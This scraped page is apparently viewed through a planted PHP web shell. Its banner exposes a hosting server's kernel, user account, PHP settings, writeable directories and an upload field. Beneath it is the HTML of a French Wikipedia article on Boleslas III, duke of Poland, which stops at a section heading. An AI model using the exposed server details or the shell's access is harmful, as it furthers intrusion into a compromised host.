Samx Here
n1udSecurity


Server : Apache
System : Linux webd348.cluster026.gra.hosting.ovh.net 5.15.148-ovh-vps-grsec-zfs-classid #1 SMP Thu Feb 8 09:41:04 UTC 2024 x86_64
User : hednacluml ( 122243)
PHP Version : 8.3.9
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
Directory :  /home/hednacluml/encyclo/articles/b/o/l/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/hednacluml/encyclo/articles/b////o/l/Boleslas_III_le_Bouche-Torse_ad7e.html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="fr" lang="fr" dir="ltr">
  <head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
	<!-- headlinks removed -->
	<link rel="shortcut icon" href="../../../../misc/favicon.ico"/>
    <title>Boleslas III le Bouche-Torse - Wikipédia</title>
    <style type="text/css">/*<![CDATA[*/ @import "../../../../skins/offline/main.css"; /*]]>*/</style>
    <link rel="stylesheet" type="text/css" media="print" href="../../../../skins/common/commonPrint.css" />
    <!--[if lt IE 5.5000]><style type="text/css">@import "../../../../skins/monobook/IE50Fixes.css";</style><![endif]-->
    <!--[if IE 5.5000]><style type="text/css">@import "../../../../skins/monobook/IE55Fixes.css";</style><![endif]-->
    <!--[if IE 6]><style type="text/css">@import "../../../../skins/monobook/IE60Fixes.css";</style><![endif]-->
    <!--[if IE]><script type="text/javascript" src="../../../../skins/common/IEFixes.js"></script>
    <meta http-equiv="imagetoolbar" content="no" /><![endif]-->
    <script type="text/javascript" src="../../../../skins/common/wikibits.js"></script>
    <script type="text/javascript" src="../../../../skins/offline/md5.js"></script>
    <script type="text/javascript" src="../../../../skins/offline/utf8.js"></script>
    <script type="text/javascript" src="../../../../skins/offline/lookup.js"></script>
    <script type="text/javascript" src="../../../../raw/gen.js"></script>        <style type="text/css">/*<![CDATA[*/
@import "../../../../raw/MediaWiki%7ECommon.css";
@import "../../../../raw/MediaWiki%7EMonobook.css";
@import "../../../../raw/gen.css";
/*]]>*/</style>          </head>
  <body
    class="ns-0">
    <div id="globalWrapper">
      <div id="column-content">
	<div id="content">
	  <a name="top" id="contentTop"></a>
	        <h1 class="firstHeading">Boleslas III le Bouche-Torse</h1>
	  <div id="bodyContent">
	    <h3 id="siteSub">Un article de Wikipédia, l'encyclopédie libre.</h3>
	    <div id="contentSub"></div>
	    	    	    <!-- start content -->
	    <table border="1" align="right" cellpadding="4" cellspacing="0" width="250" style="margin: 0 0 1em 1em; background: #f9f9f9; border: 1px #aaa solid; border-collapse: collapse; font-size: 95%;">
<tr>
<td align="center" style="border-bottom:1px #aaa solid;" colspan="2"><font size="+1"><b>Boleslas III le Bouche-Torse</b></font></td>
</tr>
<tr>
<td align="center" colspan="2"><a href="../../../../articles/b/o/l/Image%7EBoleslav_III_of_Poland.jpg_3ae2.html" class="image" title="Boleslas III le Bouche-Torse"><img alt="Boleslas III le Bouche-Torse" src="../../../../images/shared/thumb/d/dc/Boleslav_III_of_Poland.jpg/250px-Boleslav_III_of_Poland.jpg" width="250" height="343" border="0" /></a>
<table border="0" cellpadding="2" cellspacing="0" width="250" style="background:#f9f9f9;">
<tr>
<td></td>
</tr>
</table>
</td>
</tr>
<tr>
<td><b>Règne</b></td>
<td>De <a href="../../../../articles/1/1/0/1102.html" title="1102">1102</a> à <a href="../../../../articles/1/1/3/1138.html" title="1138">1138</a></td>
</tr>
<tr>
<td><b>Dynastie</b></td>
<td><a href="../../../../articles/p/i/a/Piast.html" class="mw-redirect" title="Piast">Piast</a></td>
</tr>
<tr>
<td><b>Parents</b></td>
<td><a href="../../../../articles/l/a/d/Ladislas_Ier_Herman_cd31.html" title="Ladislas Ier Herman">Ladislas Ier Herman</a><br />
Judith de <a href="../../../../articles/b/o/h/Boh%C3%AAme.html" title="Bohême">Bohême</a></td>
</tr>
<tr>
<td><b>Épouses</b></td>
<td>*Zbysława (Zbyslava) de <a href="../../../../articles/r/u/s/Rus%27_de_Kiev_ca54.html" title="Rus' de Kiev">Kiev</a> (<a href="../../../../articles/1/1/0/1103.html" title="1103">1103</a>), fille de <a href="../../../../articles/s/v/i/Sviatopolk_II_10b3.html" title="Sviatopolk II">Sviatopolk II</a><br />
*<a href="../../../../articles/s/a/l/Salom%C3%A9_von_Berg-Schelklingen_82aa.html" class="mw-redirect" title="Salomé von Berg-Schelklingen">Salomé von Berg-Schelklingen</a> (<a href="../../../../articles/1/1/1/1115.html" title="1115">1115</a>)</td>
</tr>
<tr>
<td><b>Enfants</b></td>
<td>avec Zbysława (Zbyslava)<br />
<br />
*<a href="../../../../articles/l/a/d/Ladislas_II_le_Banni_20ef.html" title="Ladislas II le Banni">Ladislas II le Banni</a> (<a href="../../../../articles/1/1/0/1105.html" title="1105">1105</a>-<a href="../../../../articles/3/0/_/30_mai.html" title="30 mai">30 mai</a> <a href="../../../../articles/1/1/5/1159.html" title="1159">1159</a>)<br />
*?, garçon (v.<a href="../../../../articles/1/1/0/1107.html" title="1107">1107</a>/<a href="../../../../articles/1/1/0/1108.html" title="1108">1108</a>-après <a href="../../../../articles/1/1/0/1109.html" title="1109">1109</a>)<br />
*?, fille (avant <a href="../../../../articles/1/1/1/1111.html" title="1111">1111</a>-?)<br />
<br />
avec Salomé<br />
<br />
*Leszek (<a href="../../../../articles/1/1/1/1115.html" title="1115">1115</a>-avant <a href="../../../../articles/1/1/3/1138.html" title="1138">1138</a>)<br />
*Ryksa (<a href="../../../../articles/1/2/_/12_avril.html" title="12 avril">12 avril</a> <a href="../../../../articles/1/1/1/1116.html" title="1116">1116</a>-après <a href="../../../../articles/1/1/5/1155.html" title="1155">1155</a>)<br />
*?, fille (avant <a href="../../../../articles/1/1/1/1119.html" title="1119">1119</a>-?)<br />
*Kazimierz (<a href="../../../../articles/1/6/_/16_ao%C3%BBt.html" title="16 août">16 août</a> <a href="../../../../articles/1/1/2/1122.html" title="1122">1122</a>-<a href="../../../../articles/1/9/_/19_octobre.html" title="19 octobre">19 octobre</a> <a href="../../../../articles/1/1/3/1131.html" title="1131">1131</a>)<br />
*Gertruda (v.<a href="../../../../articles/1/1/2/1123.html" title="1123">1123</a>/<a href="../../../../articles/1/1/2/1124.html" title="1124">1124</a>-<a href="../../../../articles/7/_/m/7_mai.html" title="7 mai">7 mai</a> <a href="../../../../articles/1/1/6/1160.html" title="1160">1160</a>)<br />
*<a href="../../../../articles/b/o/l/Boleslas_IV_le_Fris%C3%A9_c11a.html" title="Boleslas IV le Frisé">Boleslas IV le Frisé</a> (<a href="../../../../articles/1/1/2/1125.html" title="1125">1125</a>-<a href="../../../../articles/3/_/a/3_avril.html" title="3 avril">3 avril</a> <a href="../../../../articles/1/1/7/1173.html" title="1173">1173</a>)<br />
*<a href="../../../../articles/m/i/e/Mieszko_III_le_Vieux_95f5.html" title="Mieszko III le Vieux">Mieszko III le Vieux</a> (<a href="../../../../articles/1/1/2/1126.html" title="1126">1126</a>-<a href="../../../../articles/1/3/_/13_mars.html" title="13 mars">13 mars</a> <a href="../../../../articles/1/2/0/1202.html" title="1202">1202</a>)<br />
*<a href="../../../../articles/h/e/n/Henri_de_Sandomierz_3157.html" title="Henri de Sandomierz">Henri de Sandomierz</a> (<a href="../../../../articles/1/1/2/1127.html" title="1127">1127</a>-<a href="../../../../articles/1/8/_/18_octobre.html" title="18 octobre">18 octobre</a> <a href="../../../../articles/1/1/6/1166.html" title="1166">1166</a>)<br />
*Dobronega (<a href="../../../../articles/1/1/2/1128.html" title="1128">1128</a>-après <a href="../../../../articles/1/1/4/1147.html" title="1147">1147</a>)<br />
*Judith (<a href="../../../../articles/1/1/3/1132.html" title="1132">1132</a>-&#160;?)<br />
*Zofia (?-<a href="../../../../articles/1/0/_/10_octobre.html" title="10 octobre">10 octobre</a> <a href="../../../../articles/1/1/3/1136.html" title="1136">1136</a>)<br />
*Agnieszka (<a href="../../../../articles/1/1/3/1137.html" title="1137">1137</a>-après <a href="../../../../articles/1/1/8/1182.html" title="1182">1182</a>)<br />
*<a href="../../../../articles/c/a/s/Casimir_II_le_Juste_41f4.html" title="Casimir II le Juste">Casimir II le Juste</a> (<a href="../../../../articles/1/1/3/1138.html" title="1138">1138</a>-<a href="../../../../articles/5/_/m/5_mai.html" title="5 mai">5 mai</a> <a href="../../../../articles/1/1/9/1194.html" title="1194">1194</a>)</td>
</tr>
<tr>
<td><b>Date de naissance</b></td>
<td><a href="../../../../articles/2/0/_/20_ao%C3%BBt.html" title="20 août">20 août</a> <a href="../../../../articles/1/0/8/1085.html" title="1085">1085</a> ou <a href="../../../../articles/1/0/8/1086.html" title="1086">1086</a></td>
</tr>
<tr>
<td><b>Lieu de naissance</b></td>
<td><a href="../../../../articles/c/r/a/Cracovie.html" title="Cracovie">Cracovie</a></td>
</tr>
<tr>
<td><b>Date de décès</b></td>
<td><a href="../../../../articles/2/8/_/28_octobre.html" title="28 octobre">28 octobre</a> <a href="../../../../articles/1/1/3/1138.html" title="1138">1138</a></td>
</tr>
<tr>
<td><b>Lieu de décès</b></td>
<td>&#160;?</td>
</tr>
<tr>
<td><b>Lieu d’inhumation</b></td>
<td>Cathédrale de <a href="../../../../articles/p/%C5%82/o/P%C5%82ock.html" title="Płock">Płock</a>, <a href="../../../../articles/p/o/l/Pologne.html" title="Pologne">Pologne</a></td>
</tr>
</table>
<p><b>Boleslas III le Bouche-Torse</b> (en <a href="../../../../articles/p/o/l/Polonais.html" title="Polonais">polonais</a> <i>Bolesław III Krzywousty</i>) (<a href="../../../../articles/2/0/_/20_ao%C3%BBt.html" title="20 août">20 août</a> <a href="../../../../articles/1/0/8/1085.html" title="1085">1085</a> ou <a href="../../../../articles/1/0/8/1086.html" title="1086">1086</a>, <a href="../../../../articles/c/r/a/Cracovie.html" title="Cracovie">Cracovie</a> - <a href="../../../../articles/2/8/_/28_octobre.html" title="28 octobre">28 octobre</a> <a href="../../../../articles/1/1/3/1138.html" title="1138">1138</a>) est <a href="../../../../articles/l/i/s/Liste_des_rois_de_Pologne_c4d0.html" class="mw-redirect" title="Liste des rois de Pologne">Duc de Pologne</a> de <a href="../../../../articles/1/1/0/1102.html" title="1102">1102</a> à <a href="../../../../articles/1/1/3/1138.html" title="1138">1138</a>, il est le fils de <a href="../../../../articles/l/a/d/Ladislas_Ier_Herman_cd31.html" title="Ladislas Ier Herman">Ladislas Ier Herman</a> et de Judith de <a href="../../../../articles/b/o/h/Boh%C3%AAme.html" title="Bohême">Bohême</a>, la fille de l’empereur <a href="../../../../articles/h/e/n/Henri_III_du_Saint-Empire_1314.html" title="Henri III du Saint-Empire">Henri III</a>. Il est de la dynastie des <a href="../../../../articles/p/i/a/Piasts.html" class="mw-redirect" title="Piasts">Piasts</a>.</p>
<table id="toc" class="toc" summary="Sommaire">
<tr>
<td>
<div id="toctitle">
<h2>Sommaire</h2>
</div>
<ul>
<li class="toclevel-1"><a href="#Confirmation_de_la_l.C3.A9gitimit.C3.A9_du_fr.C3.A8re_a.C3.AEn.C3.A9_de_Boleslas_III"><span class="tocnumber">1</span> <span class="toctext">Confirmation de la légitimité du frère aîné de Boleslas III</span></a></li>
<li class="toclevel-1"><a href="#Une_lutte_fratricide_pour_le_pouvoir"><span class="tocnumber">2</span> <span class="toctext">Une lutte fratricide pour le pouvoir</span></a></li>
<li class="toclevel-1"><a href="#La_conqu.C3.AAte_de_la_Pom.C3.A9ranie_orientale"><span class="tocnumber">3</span> <span class="toctext">La conquête de la Poméranie orientale</span></a></li>
<li class="toclevel-1"><a href="#La_conqu.C3.AAte_de_la_Pom.C3.A9ranie_occidentale"><span class="tocnumber">4</span> <span class="toctext">La conquête de la Poméranie occidentale</span></a></li>
<li class="toclevel-1"><a href="#La_christianisation_de_la_Pom.C3.A9ranie"><span class="tocnumber">5</span> <span class="toctext">La christianisation de la Poméranie</span></a></li>
<li class="toclevel-1"><a href="#Les_relations_avec_les_Danois"><span class="tocnumber">6</span> <span class="toctext">Les relations avec les Danois</span></a></li>
<li class="toclevel-1"><a href="#Les_relations_avec_la_Boh.C3.AAme"><span class="tocnumber">7</span> <span class="toctext">Les relations avec la Bohême</span></a></li>
<li class="toclevel-1"><a href="#Ing.C3.A9rence_en_Hongrie"><span class="tocnumber">8</span> <span class="toctext">Ingérence en Hongrie</span></a></li>
<li class="toclevel-1"><a href="#Les_relations_avec_le_Saint_Empire"><span class="tocnumber">9</span> <span class="toctext">Les relations avec le Saint Empire</span></a></li>
<li class="toclevel-1"><a href="#Le_testament_de_Boleslas_III_le_Bouche-Torse"><span class="tocnumber">10</span> <span class="toctext">Le testament de Boleslas III le Bouche-Torse</span></a></li>
<li class="toclevel-1"><a href="#Voir_aussi"><span class="tocnumber">11</span> <span class="toctext">Voir aussi</span></a></li>
</ul>
</td>
</tr>
</table>
<script type="text/javascript">
//<![CDATA[
 if (window.showTocToggle) { var tocShowText = "afficher"; var tocHideText = "masquer"; showTocToggle(); } 
//]]>
</script>
<p><a name="Confirmation_de_la_l.C3.A9gitimit.C3.A9_du_fr.C3.A8re_a.C3.AEn.C3.A9_de_Boleslas_III" id="Confirmation_de_la_l.C3.A9gitimit.C3.A9_du_fr.C3.A8re_a.C3.AEn.C3.A9_de_Boleslas_III"></a></p>
<h2><span class="editsection">[<a href="../../../../articles/b/o/l/Boleslas_III_le_Bouche-Torse_ad7e.html" title="Modifier la section&#160;: Confirmation de la légitimité du frère aîné de Boleslas III">modifier</a>]</span> <span class="mw-headline">Confirmation de la légitimité du frère aîné de Boleslas III</span></h2>
<p>En <a href="../../../../articles/1/0/9/1097.html" title="1097">1097</a>, Ladislas Ier Herman est contraint par les partisans des Piasts de partager son territoire avec <a href="../../../../articles/z/b/i/Zbigniew.html" title="Zbigniew">Zbigniew</a>, son fils illégitime, et Boleslas III le Bouche-Torse. Zbigniew reçoit la <a href="../../../../articles/g/r/a/Grande-Pologne_d726.html" title="Grande-Pologne">Grande-Pologne</a>, la <a href="../../../../articles/c/u/j/Cujavie.html" title="Cujavie">Cujavie</a>, <a href="../../../../articles/s/i/e/Sieradz.html" title="Sieradz">Sieradz</a> et <a href="../../../../articles/%C5%82/%C4%99/c/%C5%81%C4%99czyca.html" title="Łęczyca">Łęczyca</a>. Boleslas III le Bouche-Torse reçoit la <a href="../../../../articles/p/e/t/Petite_Pologne_678e.html" class="mw-redirect" title="Petite Pologne">Petite Pologne</a>, la <a href="../../../../articles/s/i/l/Sil%C3%A9sie.html" title="Silésie">Silésie</a>, <a href="../../../../articles/l/u/b/Lubusz.html" class="mw-redirect" title="Lubusz">Lubusz</a> et un petit territoire à l’ouest de la Grande Pologne. Ladislas Ier Herman conserve la <a href="../../../../articles/m/a/z/Mazovie.html" class="mw-redirect" title="Mazovie">Mazovie</a> et les grandes villes du territoire de Boleslas III, tout en restant le <i>princeps</i>, c'est-à-dire le <a href="../../../../articles/d/u/c/Duc.html" title="Duc">duc</a> le plus important. En <a href="../../../../articles/1/0/9/1099.html" title="1099">1099</a>, Boleslas III, qui s'est lié d'amitié avec son oncle, le duc <a href="../../../../articles/b/r/e/Bretislav_II_de_Boh%C3%AAme_f09d.html" title="Bretislav II de Bohême">Bretislav II de Bohême</a>, reçoit de celui-ci une part du tribut annuel que paie Ladislas Ier Herman pour la Silésie. En échange, il est probable que Boleslas III cède à la <a href="../../../../articles/b/o/h/Boh%C3%AAme.html" title="Bohême">Bohême</a> la région de <a href="../../../../articles/k/%C5%82/o/K%C5%82odzko.html" title="Kłodzko">Kłodzko</a>. Après la mort de Ladislas Ier Herman en <a href="../../../../articles/1/1/0/1102.html" title="1102">1102</a>, ses deux fils entrent en compétition pour prendre l’ascendant l’un sur l’autre. Boleslas III le Bouche-Torse hérite du titre de <i>princeps</i> et continue, comme son père, de résider à <a href="../../../../articles/p/%C5%82/o/P%C5%82ock.html" title="Płock">Płock</a>. Boleslas III commence à préparer une guerre pour récupérer la <a href="../../../../articles/p/o/m/Pom%C3%A9ranie.html" title="Poméranie">Poméranie</a>.</p>
<p><a name="Une_lutte_fratricide_pour_le_pouvoir" id="Une_lutte_fratricide_pour_le_pouvoir"></a></p>
<h2><span class="editsection">[<a href="../../../../articles/b/o/l/Boleslas_III_le_Bouche-Torse_ad7e.html" title="Modifier la section&#160;: Une lutte fratricide pour le pouvoir">modifier</a>]</span> <span class="mw-headline">Une lutte fratricide pour le pouvoir</span></h2>
<p>En <a href="../../../../articles/1/1/0/1103.html" title="1103">1103</a>, Boleslas épouse Zbysława, fille du <a href="../../../../articles/l/i/s/Liste_des_monarques_de_Russie_63e2.html" title="Liste des monarques de Russie">grand prince de Kiev</a> <a href="../../../../articles/s/v/i/Sviatopolk_II_10b3.html" title="Sviatopolk II">Sviatopolk II</a> et sœur d’Iaroslav de <a href="../../../../articles/v/o/l/Volhynie.html" title="Volhynie">Volhynie</a>, faisant ainsi une précieuse alliance en cas de conflit avec son frère. De son côté, Zbigniew fait une alliance avec les <a href="../../../../articles/p/o/m/Pom%C3%A9ranie.html" title="Poméranie">Poméraniens</a> (qui sont dans la ligne de mire de Boleslas) et avec les <a href="../../../../articles/b/o/h/Boh%C3%AAme.html" title="Bohême">Tchèques</a> (se rapprochant ainsi du <a href="../../../../articles/s/a/i/Saint_Empire_e2a5.html" class="mw-redirect" title="Saint Empire">Saint Empire</a>). En <a href="../../../../articles/1/1/0/1104.html" title="1104">1104</a>, Zbigniew incite les Tchèques et les Poméraniens à attaquer Boleslas sur deux fronts. Le territoire de Boleslas est gravement ravagé. La même année, Boleslas fait un traité d’assistance mutuelle avec <a href="../../../../articles/c/o/l/Coloman_de_Hongrie_24bf.html" title="Coloman de Hongrie">Coloman de Hongrie</a>. Si l’un est attaqué par le Saint Empire, l’autre attaque la <a href="../../../../articles/b/o/h/Boh%C3%AAme.html" title="Bohême">Bohême</a>. Boleslas III le Bouche-Torse se rapproche également du <a href="../../../../articles/s/a/i/Saint-Si%C3%A8ge_29a7.html" title="Saint-Siège">Saint-Siège</a>, hostile au Saint Empire. En <a href="../../../../articles/1/1/0/1106.html" title="1106">1106</a>, Boleslas et Zbigniew font un pacte par lequel ils s’engagent à ne pas faire d’alliances séparées et à s’entraider contre leurs ennemis. Alors que Boleslas III le Bouche-Torse envahit la Poméranie, Zbigniew refuse de l’aider et envoie son armée pour l'attaquer par derrière sur la frontière poméranienne. Zbigniew préférait rester allié avec les Poméraniens plutôt que de voir ceux-ci ravager son territoire pour venger l’agression de Boleslas. Ce dernier s’assure de la neutralité de la Bohême avant d’attaquer Zbigniew et de s’emparer de <a href="../../../../articles/k/a/l/Kalisz.html" title="Kalisz">Kalisz</a>, <a href="../../../../articles/g/n/i/Gniezno.html" title="Gniezno">Gniezno</a>, du château de <a href="../../../../articles/u/n/i/Uniej%C3%B3w.html" title="Uniejów">Spicymierz</a> et de <a href="../../../../articles/%C5%82/%C4%99/c/%C5%81%C4%99czyca.html" title="Łęczyca">Łęczyca</a>. Ensuite, avec les troupes <a href="../../../../articles/r/u/s/Rus%27_de_Kiev_ca54.html" title="Rus' de Kiev">russes</a> et <a href="../../../../articles/h/o/n/Hongrie.html" title="Hongrie">hongroises</a>, il commence à repousser Zbigniew hors de Mazovie. Zbigniew doit déposer les armes. Boleslas III le Bouche-Torse ne lui laisse que la Mazovie, en tant que <a href="../../../../articles/f/i/e/Fief.html" title="Fief">fief</a> et non en tant que duché indépendant. En <a href="../../../../articles/1/1/0/1107.html" title="1107">1107</a>, alors que Boleslas attaque et occupe les villes poméraniennes de <a href="../../../../articles/b/i/a/Bia%C5%82ogard.html" title="Białogard">Białogard</a> et <a href="../../../../articles/k/o/%C5%82/Ko%C5%82obrzeg.html" title="Kołobrzeg">Kołobrzeg</a>, Zbigniew n’honore pas son engagement de <a href="../../../../articles/v/a/s/Vassal.html" class="mw-redirect" title="Vassal">vassal</a> et n’envoie pas de troupes pour l’aider. Boleslas expulse Zbigniew qui se tourne vers la Bohême et le Saint Empire. En <a href="../../../../articles/1/1/0/1108.html" title="1108">1108</a>, le Saint Empire attaque la Hongrie. En vertu du traité d’assistance de <a href="../../../../articles/1/1/0/1104.html" title="1104">1104</a>, Boleslas III Bouche-Torse attaque la Bohême. En <a href="../../../../articles/1/1/0/1109.html" title="1109">1109</a>, les Poméraniens décident de soutenir Zbigniew dans sa quête du trône et attaquent la Mazovie. Boleslas écrase les Poméraniens à <a href="../../../../articles/n/a/k/Nak%C5%82o.html" class="mw-redirect" title="Nakło">Nakło</a>, qu’il occupera ainsi que six autres villes de la région poméranienne recouvrant l’estuaire de la <a href="../../../../articles/v/i/s/Vistule.html" title="Vistule">Vistule</a>. La même année, pour soutenir Zbigniew, <a href="../../../../articles/h/e/n/Henri_V_du_Saint-Empire_de40.html" title="Henri V du Saint-Empire">Henri V</a> et la Bohême envahissent la <a href="../../../../articles/p/o/l/Pologne.html" title="Pologne">Pologne</a> sous le prétexte officiel de venger l’attaque polonaise de <a href="../../../../articles/1/1/0/1108.html" title="1108">1108</a> contre la Bohême. L’invasion impériale empêche Boleslas de poursuivre la conquête de la Poméranie. L’offensive sur la Silésie se termine par la défaite des troupes impériales lors de la bataille de Psie Pole, près de <a href="../../../../articles/w/r/o/Wroc%C5%82aw.html" title="Wrocław">Wrocław</a>. Henri V est obligé de se replier, ayant dévasté une grande partie de la Pologne et plusieurs villes. En <a href="../../../../articles/1/1/1/1110.html" title="1110">1110</a>, Zbigniew et ses alliés tchèques continuent à attaquer les villes frontalières polonaises. En réaction à l’attitude hostile de la Bohême, Boleslas III le Bouche-Torse aide <a href="../../../../articles/b/o/%C5%99/Bo%C5%99ivoj_II_de_Boh%C3%AAme_1599.html" title="Bořivoj II de Bohême">Bořivoj II</a> à monter sur le trône de Bohême devenu vacant. Bořivoj sera rapidement renversé et exilé par son frère <a href="../../../../articles/v/l/a/Vladislav_Ier_de_Boh%C3%AAme_beb9.html" title="Vladislav Ier de Bohême">Vladislav Ier de Bohême</a>. Boleslas III Bouche-Torse essayera alors de placer <a href="../../../../articles/s/o/b/Sobeslav_Ier_de_Boh%C3%AAme_f59a.html" title="Sobeslav Ier de Bohême">Sobeslav Ier</a>, le jeune frère de Bořivoj, sur le trône de Bohême. En <a href="../../../../articles/1/1/1/1111.html" title="1111">1111</a>, un traité est conclu entre la Pologne et la Bohême&#160;: chaque signataire accepte de ne pas encourager chez lui un prétendant à la couronne du pays voisin. En <a href="../../../../articles/1/1/1/1112.html" title="1112">1112</a>, Boleslas autorise le retour de Zbigniew, l’accuse de trahison, lui fait crever les yeux, ce dont il mourra rapidement.</p>
<p><a name="La_conqu.C3.AAte_de_la_Pom.C3.A9ranie_orientale" id="La_conqu.C3.AAte_de_la_Pom.C3.A9ranie_orientale"></a></p>
<h2><span class="editsection">[<a href="../../../../articles/b/o/l/Boleslas_III_le_Bouche-Torse_ad7e.html" title="Modifier la section&#160;: La conquête de la Poméranie orientale">modifier</a>]</span> <span class="mw-headline">La conquête de la Poméranie orientale</span></h2>
<p>En <a href="../../../../articles/1/1/1/1113.html" title="1113">1113</a>, les Polonais défont le duc <a href="../../../../articles/s/w/i/Swietopelk_de_Pom%C3%A9ranie_2d87.html" class="mw-redirect" title="Swietopelk de Poméranie">Swietopelk de Poméranie</a> et prennent <a href="../../../../articles/n/a/k/Nak%C5%82o.html" class="mw-redirect" title="Nakło">Nakło</a>. Ils ouvrent une route à travers les marais de la <a href="../../../../articles/n/o/t/Note%C4%87.html" title="Noteć">Noteć</a>, la clef vers le bassin de la <a href="../../../../articles/v/i/s/Vistule.html" title="Vistule">Vistule</a>. En <a href="../../../../articles/1/1/1/1115.html" title="1115">1115</a>, Boleslas III le Bouche-Torse épouse <a href="../../../../articles/s/a/l/Salom%C3%A9_von_Berg_4bef.html" title="Salomé von Berg">Salomé von Berg</a> avant d'envahir l'année suivante la région poméranienne de <a href="../../../../articles/g/d/a/Gda%C5%84sk.html" title="Gdańsk">Gdańsk</a>. En <a href="../../../../articles/1/1/1/1117.html" title="1117">1117</a>, Boleslas III le Bouche-Torse étouffe la révolte du <a href="../../../../articles/p/a/l/Palatin.html" title="Palatin">palatin</a> Skarbimir, à qui il fait crever les yeux, et le remplace par <a href="../../../../articles/p/i/o/Piotr_W%C5%82ostowic_d563.html" title="Piotr Włostowic">Piotr Włostowic</a>. En <a href="../../../../articles/1/1/1/1119.html" title="1119">1119</a>, Boleslas III le Bouche-Torse réunit la <a href="../../../../articles/p/o/m/Pom%C3%A9ranie_orientale.html" title="Poméranie orientale">Poméranie orientale</a> à la Pologne.</p>
<p><a name="La_conqu.C3.AAte_de_la_Pom.C3.A9ranie_occidentale" id="La_conqu.C3.AAte_de_la_Pom.C3.A9ranie_occidentale"></a></p>
<h2><span class="editsection">[<a href="../../../../articles/b/o/l/Boleslas_III_le_Bouche-Torse_ad7e.html" title="Modifier la section&#160;: La conquête de la Poméranie occidentale">modifier</a>]</span> <span class="mw-headline">La conquête de la Poméranie occidentale</span></h2>
<p>Les premières attaques contre la <a href="../../../../articles/p/o/m/Pom%C3%A9ranie_occidentale.html" title="Poméranie occidentale">Poméranie occidentale</a> commencent en <a href="../../../../articles/1/1/1/1119.html" title="1119">1119</a>. En <a href="../../../../articles/1/1/2/1121.html" title="1121">1121</a>, Boleslas III le Bouche-Torse s’empare de <a href="../../../../articles/s/z/c/Szczecin.html" title="Szczecin">Szczecin</a>. Boleslas III Bouche-Torse réunit la Poméranie occidentale à la Pologne, le prince poméranien <a href="../../../../articles/w/a/r/Warcis%C5%82aw_Ier_de_Pom%C3%A9ranie_bfe8.html" title="Warcisław Ier de Poméranie">Warcislaw I<sup class="exposant">er</sup></a> reconnaissant la <a href="../../../../articles/s/u/z/Suzerain.html" class="mw-redirect" title="Suzerain">suzeraineté</a> de la Pologne.</p>
<p><a name="La_christianisation_de_la_Pom.C3.A9ranie" id="La_christianisation_de_la_Pom.C3.A9ranie"></a></p>
<h2><span class="editsection">[<a href="../../../../articles/b/o/l/Boleslas_III_le_Bouche-Torse_ad7e.html" title="Modifier la section&#160;: La christianisation de la Poméranie">modifier</a>]</span> <span class="mw-headline">La christianisation de la Poméranie</span></h2>
<p>En <a href="../../../../articles/1/1/2/1124.html" title="1124">1124</a>, Boleslas III le Bouche-Torse confie la <a href="../../../../articles/c/h/r/Christianisation.html" class="mw-redirect" title="Christianisation">christianisation</a> de la Poméranie occidentale à Othon de Bamberg, l’<a href="../../../../articles/%C3%A9/v/%C3%AA/%C3%89v%C3%AAque.html" title="Évêque">évêque</a> de <a href="../../../../articles/b/r/a/Brandebourg.html" title="Brandebourg">Brandebourg</a>. Wojciech, l’aumônier de Boleslas III le Bouche-Torse, sera nommé premier évêque de Poméranie à Kołobrzeg. En <a href="../../../../articles/1/1/2/1128.html" title="1128">1128</a>, Otton de Bamberg entreprend une deuxième mission de christianisation en Poméranie, sous le patronage du roi germain <a href="../../../../articles/l/o/t/Lothaire_de_Supplinbourg_964a.html" title="Lothaire de Supplinbourg">Lothaire II</a>.</p>
<p><a name="Les_relations_avec_les_Danois" id="Les_relations_avec_les_Danois"></a></p>
<h2><span class="editsection">[<a href="../../../../articles/b/o/l/Boleslas_III_le_Bouche-Torse_ad7e.html" title="Modifier la section&#160;: Les relations avec les Danois">modifier</a>]</span> <span class="mw-headline">Les relations avec les Danois</span></h2>
<p>En <a href="../../../../articles/1/1/2/1129.html" title="1129">1129</a>, Boleslas III Bouche-Torse conclut une alliance avec les <a href="../../../../articles/d/a/n/Danemark.html" title="Danemark">Danois</a>.</p>
<p><a name="Les_relations_avec_la_Boh.C3.AAme" id="Les_relations_avec_la_Boh.C3.AAme"></a></p>
<h2><span class="editsection">[<a href="../../../../articles/b/o/l/Boleslas_III_le_Bouche-Torse_ad7e.html" title="Modifier la section&#160;: Les relations avec la Bohême">modifier</a>]</span> <span class="mw-headline">Les relations avec la Bohême</span></h2>
<p>Depuis la mort de son père, Boleslas devait faire face à l’attitude belliqueuse des Tchèques qui ont soutenu son demi-frère Zbigniew. En <a href="../../../../articles/1/1/1/1114.html" title="1114">1114</a>, Boleslas III le Bouche-Torse reprend Kłodzko, la porte de la Bohême. En <a href="../../../../articles/1/1/3/1132.html" title="1132">1132</a>, les Tchèques attaquent et ravagent la Silésie. En <a href="../../../../articles/1/1/3/1137.html" title="1137">1137</a>, à Kłodzko, un accord de paix normalise les relations entre la Bohême et la Pologne.</p>
<p><a name="Ing.C3.A9rence_en_Hongrie" id="Ing.C3.A9rence_en_Hongrie"></a></p>
<h2><span class="editsection">[<a href="../../../../articles/b/o/l/Boleslas_III_le_Bouche-Torse_ad7e.html" title="Modifier la section&#160;: Ingérence en Hongrie">modifier</a>]</span> <span class="mw-headline">Ingérence en Hongrie</span></h2>
<p>De <a href="../../../../articles/1/1/3/1132.html" title="1132">1132</a> à <a href="../../../../articles/1/1/3/1134.html" title="1134">1134</a>, Boleslas III le Bouche-Torse et la <a href="../../../../articles/r/u/s/Rus%27_de_Kiev_ca54.html" title="Rus' de Kiev">Rus' de Kiev</a> soutiennent Boris qui veut s’emparer du trône <a href="../../../../articles/h/o/n/Hongrie.html" title="Hongrie">hongrois</a>, sans succès.</p>
<p><a name="Les_relations_avec_le_Saint_Empire" id="Les_relations_avec_le_Saint_Empire"></a></p>
<h2><span class="editsection">[<a href="../../../../articles/b/o/l/Boleslas_III_le_Bouche-Torse_ad7e.html" title="Modifier la section&#160;: Les relations avec le Saint Empire">modifier</a>]</span> <span class="mw-headline">Les relations avec le Saint Empire</span></h2>
